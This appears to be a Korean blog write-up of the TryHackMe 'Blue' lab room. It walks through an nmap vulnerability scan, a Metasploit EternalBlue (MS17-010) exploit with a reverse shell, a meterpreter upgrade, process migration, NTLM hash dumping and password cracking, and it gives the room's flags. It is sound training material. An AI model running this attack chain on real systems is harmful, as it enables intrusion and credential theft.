lhywk 님의 블로그

[TryHackMe] Blue 본문

TryHackMe

[TryHackMe] Blue

lhywk 2026. 2. 6. 22:19

export 명령을 사용해 타겟 IP 주소 10.201.7.232를 $IP라는 환경 변수에 저장한다.

ping $IP 명령을 실행하여 타겟 시스템이 네트워크상에서 활성 상태인지 확인한다.

nmap을 사용해 타겟 IP에 스캔을 한다.

  • sV: 포트에서 실행 중인 서비스 버전을 탐지한다.
  • -script vuln: 알려진 취약점이 있는지 확인하는 스크립트를 실행한다.
  • oN scan_result: 스캔 결과를 scan_result라는 파일에 저장한다.

nmap 스캔 결과 135번 (msrpc), 139번 (NetBIOS)과 445번 (SMB) 포트 등이 열려있는 것을 확인했다.

nmap의 vuln 스크립트가 이 시스템이 MS17-010을 취약하다고 탐지했다. 이는 SMBv1 서버를 통해 원격 코드 실행이 가능함을 의미한다.

1000번 이하의 포트 넘버를 묻는 질문엔 135, 139, 445번 포트가 열려있기 때문에 3을 답으로 입력하고 ms17-010 취약점이 발견되었으니 답을 입력한다.

service postgresql start 명령으로 metasploit이 사용할 PostgreSQL 데이터베이스를 시작한다.

msfdb init 명령을 실행하여 metasploit 프레임워크용 데이터베이스를 초기화한다.

msfconsole을 입력하여 metasploit을 실행한다.

metasploit 콘솔에서 set LHOST tun0 명령을 실행한다.

공격자의 IP 주소를 tun0의 IP로 설정하는 과정이다. 이래야 나중에 타겟이 공격자에게 다시 연결(리버스 쉘)할 수 있다.

search ms17-010 명령을 사용해 nmap 스캔에서 발견된 MS17-010 취약점 관련 모듈을 검색한다.

auxiliary/scanner/smb/smb_ms17_010 모듈은 스캐너다. 실제 공격을 하는 모듈이 아니라 단순히 타겟이 해당 취약점을 가졌는지 탐지하는 용도로 사용된다.

options 명령을 실행한 후 RHOSTS 옵션이 Required 항목에서 yes로 표시되어 스캔할 타겟 IP 주소를 반드시 설정해야 함을 알 수 있다.

스캐너 모듈의 RHOSTS 옵션을 타겟 IP 주소 10.201.7.232로 설정한다.

run 명령으로 스캐너를 실행하고 Host is likely VULNERABLE TO MS17-010!라는 결과가 나왔다. 이는 nmap 스캔에서 봤던 대로 타겟 시스템이 MS17-010에 실제로 취약하다는 것을 확인한 것이다.

다시 search ms17-010 명령을 실행하여 관련 모듈을 검색한다.

검색 결과에서 0번 exploit/windows/smb/ms17_010_eternalblue 모듈이 실제 공격에 사용할 모듈임을 확인한다.

use 0 명령을 실행하여 exploit/windows/smb/ms17_010_eternalblue 모듈을 사용하도록 선택한다.

metasploit은 자동으로 windows/x64/meterpreter/reverse_tcp 페이로드를 기본값으로 설정한다.

익스플로잇 모듈에서 options 명령을 실행한다.

RHOSTS가 Required: yes로 표시되어 있으므로 공격을 실행하기 전에 반드시 타겟 IP를 설정해야 한다.

set RHOSTS 10.201.7.232 명령을 실행하여 타겟 IP 주소를 설정한다.

이후 options 명령을 다시 실행하여 RHOSTS 값이 10.201.7.232로 올바르게 설정되었는지 확인한다.

set payload windows/x64/shell/reverse_tcp 명령으로 페이로드를 기본 meterpreter 쉘 대신 일반 커맨드 쉘로 변경한다. run 명령으로 익스플로잇을 실행한다.

공격에 성공하여 타겟 윈도우 시스템의 커맨드 쉘을 획득한다.

whoami 명령을 실행하여 자신의 계정을 확인한다. DOS 쉘로 추가적인 공격을 수행하기엔 기능이 부족하므로 meterpreter 쉘로 업그레이드 해야한다.

Ctrl+Z를 눌러 획득한 쉘을 백그라운드로 보낸다.

metasploit 콘솔로 돌아와 sessions 명령을 실행하니 현재 활성화된 세션 목록이 나타난다. Id 1로 윈도우 쉘 세션(10.201.7.232)이 백그라운드에서 유지되고 있음을 확인한다.

익스플로잇 코드를 찾는 문제에 exploit/windows/smb/ms17_010_eternalblue를 입력하고 필수 옵션을 설정하는 값에 대한 문제는 RHOSTS를 입력해 문제를 풀이한다.

search shell_to_meterpreter 명령을 실행해post/multi/manage/shell_to_meterpreter 모듈을 찾는다.

use 0 명령으로 shell_to_meterpreter 모듈을 선택한다.

show options를 실행해 필요한 옵션을 확인하니, SESSION이 필수 항목임을 확인한다.

set SESSION 1 명령을 실행하여 이전에 획득한 쉘 세션을 업그레이드 대상으로 지정한다.

run 명령으로 shell_to_meterpreter 모듈을 실행한다.

이 모듈은 세션 1(기본 쉘)을 통해 타겟에 meterpreter 페이로드를 전송했고, 그 결과 meterpreter session 2 opened라는 메시지와 함께 새로운 meterpreter 세션(ID 2)이 성공적으로 열린다.

sessions 명령으로 다시 확인하니 NT AUTHORITY\SYSTEM 권한을 가진 meterpreter 타입의 세션 2가 활성화된 것을 볼 수 있다.

sessions -i 2 명령을 실행하여 방금 업그레이드한 meterpreter 세션(ID 2)에 접속한다.

프롬프트가 meterpreter >로 바뀐 것을 볼 수 있다. 여기서 getuid 명령을 입력하여 현재 uid를 확인한다.

사용할 post 모듈의 이름을 적는 질문에 post/multi/manage/shell_to_meterpreter를 입력한다. 변경해야 하는 필수 옵션에 SESSION을 입력하여 문제를 풀이한다.

meterpreter 세션에서 ps 명령을 실행하여 타겟 시스템의 현재 실행 중인 프로세스 목록을 확인한다.

winlogon.exe (PID 664) 프로세스로 관지라 권한으로 실행하는 마이그레이션을 준비한다.

migrate 664 명령을 실행해 winlogon.exe 프로세스(PID 664)로 이동시킨다.

마이그레이션에 성공하여 관리자 권한을 획득한다.

hashdump 명령을 실행하여 타겟 윈도우 NT의 사용자 패스워드를 덤프 한다.

이 덤프를 통해 Administrator, Guest, Jon 계정의 NTLM 해시를 획득한다.

이 질문들은 쉘을 meterpreter로 업그레이드하고, 해당 세션에 접속하며, SYSTEM 권한을 확인하고, 프로세스를 나열한 뒤, 안정적인 프로세스로 migrate하는, 앞선 이미지들에서 수행한 전체 후속 공격 단계를 확인하는 질문들이다. 전부 클릭해서 문제를 풀이한다.

Jon 계정의 NTLM 해시를 온라인 패스워드 크래커 툴에 붙여 넣는다.

크래킹 결과 Jon 계정의 실제 비밀번호가 alqfna22임을 알아낸다.

meterpreter 세션에서 pwd로 현재 위치를 확인한 뒤 cd ../../ 명령으로 C 드라이브 루트로 이동한다.

dir 명령으로 파일 목록을 조회하여 flag1.txt를 발견한다.

cat flag1.txt 명령을 실행해 파일 내용을 읽어, 첫 번째 플래그인 flag{access_the_machine}을 획득한다.

첫 플래그를 입력하여 문제를 풀이한다.

cd system32와 cd config 명령을 차례로 실행하여 C:\Windows\system32\config 디렉터리로 이동한다.

dir 명령을 실행해 해당 폴더의 내용을 확인한다.

dir 명령 실행 결과 flag2.txt 파일이 디렉터리 내에 있는 것을 확인한다.

cat flag2.txt 명령으로 파일 내용을 읽어 두 번째 플래그인 flag{sam_database_elevated_access}를 획득한다.

두 번째 플래그를 입력하여 문제를 풀이한다.

search -f flag3.txt 명령을 사용하여 전체 파일 시스템에서 flag3.txt라는 이름의 파일을 검색한다. 검색 결과 Jon 사용자의 문서 폴더(C:\Users\Jon\Documents)에서 파일을 찾았다.

cd Users, cd Jon, cd Documents 명령을 차례로 실행하여 이전 search 명령으로 찾았던 flag3.txt의 경로로 이동한다.

dir 명령으로 폴더의 내용을 확인하여 flag3.txt가 있는 것을 확인한다.

cat flag3.txt 명령으로 파일 내용을 읽어 세 번째 플래그인 flag{admin_documents_can_be_valuable}을 획득한다.

세 번째 플래그를 입력하여 문제를 풀이한다.

'TryHackMe' 카테고리의 다른 글

[TryHackMe] The Cod Caper  (0) 2026.02.08
[TryHackMe] ICE  (0) 2026.02.06
[TryHackMe] RootMe  (0) 2026.02.05
[TryHackMe] LazyAdmin  (0) 2026.02.05
[TryHackMe] Bounty Hacker  (0) 2026.02.05